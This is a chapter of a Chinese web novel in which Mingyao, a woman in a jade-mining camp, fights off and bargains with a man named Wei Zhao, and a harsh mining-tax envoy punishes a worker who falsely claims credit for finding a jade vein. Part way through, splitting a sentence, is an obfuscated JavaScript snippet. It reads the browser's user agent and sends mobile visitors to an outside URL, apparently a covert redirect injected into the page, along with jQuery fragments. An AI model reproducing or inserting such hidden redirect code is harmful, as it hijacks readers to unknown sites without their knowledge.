脚尖奋力挣扎,只掀起了地面上的几粒雪花。
在绝对的力量差异面前,无论什么样的挣扎都显得羸弱可笑,更别说明窈现在的这具身体虚弱不堪,挣扎时宛如螳臂当车。
力量差异有所不足,但是她倒是刚好有别的办法能补足。
一柄尖锥顿时从腰间抽出,明窈的脖颈涨红,脸被憋的泛青,撑着最后一丁点力气反手把尖锥刺进了身后那男人的腰侧。
“妈的,你这娘们真够贱的!”
身后的大掌顿时收回,耳边响起来滔滔不绝的叫骂。
明窈快速与身后的男人拉开距离,大口大口喘着气,将手里的尖锥竖起,直直对着那男人。
冰冷的尖锥泛着寒光,在昏暗天色的映衬下更显得阴沉可怖,滴滴鲜红的血珠顺着锥体滚落,手心里一片腻滑。
此刻她的心口慌乱的翻腾,这次上山炸矿的人数众多,距离发现她掉队只怕还要有一段时间。
就算是发现了,她也并不觉得李程三和那个中年大叔会费劲心力来寻她。
这是真真切切孤立无援的境地,偌大的矿山上,只有她和一柄尖锥,还有对面凶神恶煞的男人。
对面的男人笑意狰狞,顺手抄起了地上的一个石块,一点点逼近明窈,恨意从四面八方弥漫过来。
“看不出来你还有这本事啊,我魏钊这辈子还没被女人阴过。”
明窈握着尖锥,被逼的步步后退,直到背后抵住了一面冰冷的山体。
已至绝境,退无可退。
“小娘们,老子现在就送你上西天!”
坚硬的石块破空,劈头盖脸对着明窈砸下。
一道声音破空而来。
“魏钊,你要一辈子用炸矿来换银子吗!”明窈被逼入绝境,反倒避也不避,“我听说,炸矿得了首功,可得黄金二两。”
女人清丽的声线融进风里,正准备砸下的石块迟疑了一瞬。
“下次你上山可未必有这么好的运气撞上我。上了山炸不出玉脉,落到那位矿税使手里,只有等死的份。”
魏钊捏着石块咬牙,恨恨冷哼一声:“少他妈诓老子,下了山照样是那个矿区的采玉量高谁有理。哪次炸山的首功不是给4矿区了?我说自己是首功,谁会信?”
周遭寂静,只空余魏钊不甘的埋怨低低盘旋,他手中的石块滚落,顺着小坡一路翻滚。
“只要你想,你就能是。”
明窈垂头,微垂的长睫闪烁,抬起脚掌止住石块向下滚落的轨迹,唇边露出一点意味深长的笑意。
没人发现明窈什么时候掉的队,等到李程三在脚边捡了一块颜色奇特的石块,想起转头去看早已不见她的影子。
难道是被隔在人群之后?
“明窈!我看见一特好看的石头,该不会切开是块好玉料吧!”
李程三尝试抬高了嗓音,没人回应,只有周围零零碎碎的脚步声。
“明窈!明窈!”
“叫什么叫,马上到了矿税使跟前,你号丧呢?”
胳膊上被人狠狠撞了一把,随后就是不悦的抱怨。
这位从京城来的矿税使脾气阴晴难定,在矿场的话语权甚至高过矿长,曾经就有人见过矿长跟在他身后殷勤地赔笑脸,全无之前盛气凌人嚷嚷着要把人发卖的模样。
在这种关头,谁都不想惹那位阎王爷不痛快。
李程三皱起眉,让出一条下山的通道,把队伍来来回回看了好几遍,这才确认了明窈真的不见踪影,和她一起消失的听说还有一个叫魏钊的男人。
敲石点火的声音似有若无地传来,传来淡淡的烟草味,周围慌乱地跪下了一地人。
李程三也慌乱地跟着跪下,耳边紧跟着响起被烟叶熏的有些喑哑,略显漫不经心的语调。
“起来吧,有功之臣们,可见了玉脉?”
声量不大,却很有分量。
有人当即头顶冒汗,拿了袖子慌乱地擦拭。
楚邀抬手把玩着一支翡翠烟杆,满脸从容,不必知会身后立即有人为他送上一把交椅。
他在交椅上坐定了,撑起一双疏冷的眼睛,浅浅扫了一圈跪趴在地上的一群人。
不知是想起了什么,目光落在人群之间顿了一瞬。
依旧是矿区4的那男人冲上前,乐颠颠地回话:“大人,小的上山时沾上了您身上的光,不久之后就炸出了一条玉脉。”
“您不知道,那条玉脉有多漂亮,玉镶嵌在石壁上个个亮的吓人,随随便便拎出来一块都是价值连城......"
”嗯?“楚邀看上去来了兴致,微微倾身,点了那男人到身边,”这么说来,是你先上山点火炸矿,顺势发现了那条玉脉,当居首功?”
“呃......”矿区4的那男人愣了一下,往常倒也不见哪位大人对谁拿了首功这么关心。
事已至此,也只得咬着牙认下去。
楚邀管制矿场向来手腕狠辣,若是被他发觉出马脚,最好的下场是能留下一具全尸。
他撑住一口气道:“回大人,是小人。”
”你放屁!你连个火都没点,敢扯下这么大的谎,不怕闪了舌头!“李程三抬起脑袋,就差指着那男人的脸骂。
“我扯谎?我上山看见了矿脉,大家有目共睹!那玉是什么样的,周围什么地形,我知道的清清楚楚,你凭什么在大人面前胡说八道!”
李程三大受震撼,死活想不到居然还有如此无耻的人,语调越发愤怒:“那你说,你怎么上山找的断层?你说,你在什么位置点的火?你说!你说的出来吗?”
矿区4顿时哑口无言。
楚邀在这时冷不丁插了嘴,慢慢悠悠道:“那依你看,是谁炸出了这玉脉呢?”
李程三身形一僵,心里拿不定楚邀的意思,索性心一横,不顾念身旁那中年大叔的阻拦,闷头喊道:”明窈,她爹是猎人教过她上山,她寻到了断层,还把玉脉给炸出来了。“
“明窈。”楚邀轻声开口重复,唇齿之间把这两个字翻来覆去滚过了一遍,指节在细长的烟杆上挪移盘旋。
“对,别看她是个女人,她真的会点东西,雪崩的时候也是她......"
“所以。”楚邀冷不丁地阻断了李程三对明窈的辩护,“你在为一个没回来的死人辩护?”
大脑嗡鸣一声,话音落下,倒像是有形的耳光狠狠扇在了脸上,火辣辣的一片疼,连耳道里都发起痒。
周
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283134|182553||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遭一片寂静,也没人胆敢在这时说话,倒是矿区4狠狠松下了一大口气。
他原本还以为楚邀有多在意公平,这样看起来和别的主子没什么区别,一样的不在乎下面的人之间这些勾心斗角,只会表面端个样子而已。
心里的紧张劲还没过去,视线里露出半截烟杆,引着他看向一边平展的雪窝。
楚邀道:“我方才画了山行图,去把玉脉的位置标出来,我要看。”
刚刚放下的心顿时又悬了上来,矿区4脸上扯出一个比哭还难看的笑意,小心翼翼陪着打太极。
“大,大人,我一个大老粗,只会认上山的路,哪里会认上山的位置?”
“辨不出位置,难道是我画的图太难看,让你瞧不出路了?”
楚邀从交椅上起身,缓缓踱步到矿区4面前,一双黑眸冷冷清清。
“还是说,你面子大到要我亲自请你?”
“不敢不敢!”
矿区4连滚带爬地从地上一路飞扑到雪面上的那副图上。
图倒是很好辨认,有现在开凿的各个矿区位置,有山下河流经过女人打捞玉石的小河滩,有上山的羊肠小道,甚至精确到一些特色的石块位置。
矿区4捏着方才被陆博塞进手里的树枝,死活不敢下笔。
上山时明窈带着他们换了条道走,但是在楚邀的画上,只有一片一片的空白。
除了明窈,所有人都不知道玉脉在山体的什么位置。
夜深了,外面寒风阵阵。
矿区4身上的冷汗反倒一股一股往外冒,打湿了胸前的衣襟。
汗珠顺着额头坠落到雪地上,打出一个小小的凹坑。
陆博在一边等的不耐烦,一脚踹在矿区4的小腿上:“你这孙子到底能不能画?不能画我现在就斩了你的手!”
“会画,会画!”矿区4慌乱之间,只凭借着感觉找了个方向,将树枝插在两条线中间的一个位置,捂着头告饶。
“我会画,就在那,我给标出来了!明天,不,不用明天,我现在就能带着大人上山!我能找玉脉,我能开矿!”
楚邀踏着矿区4一把鼻涕一把泪的告饶声行至地形图面前,抬眼扫了眼树枝的位置,眼神忽然晦暗。
矿区4下一句求饶的话没出声,正头顶一道劲风袭来,接着就是火辣辣的痛,视线只来得及捕捉到半块被头撞碎落下的碎石渣。
他痛的满地打滚,用手捂了头,血如雨下灌满了手掌。
“大人,大人我错了大人,你再给我一次机会,我能找到玉脉的位置,我能找到......"
“你能找到?我信你把玉脉的位置标到水沟里?”
楚邀冷冷淡淡收回了方才捏了石块被染脏的手指,转头看向陆博,脸上似有困惑。
“是不是我的脾气太好了,才能给一些蠢蛋随口扯些不着边际的谎就能骗过我的错觉?”
下山的山口处隐隐约约浮现出一个人影,看样子像是个男人,正在深一脚浅一脚地下山。
众人盯着他拖着笨重的身形将一粒小石子精准地放在图上山间断层的位置,随后屈膝跪倒在楚邀面前,笑容谄媚。
“楚大人,小人魏钊,知道玉脉的位置。”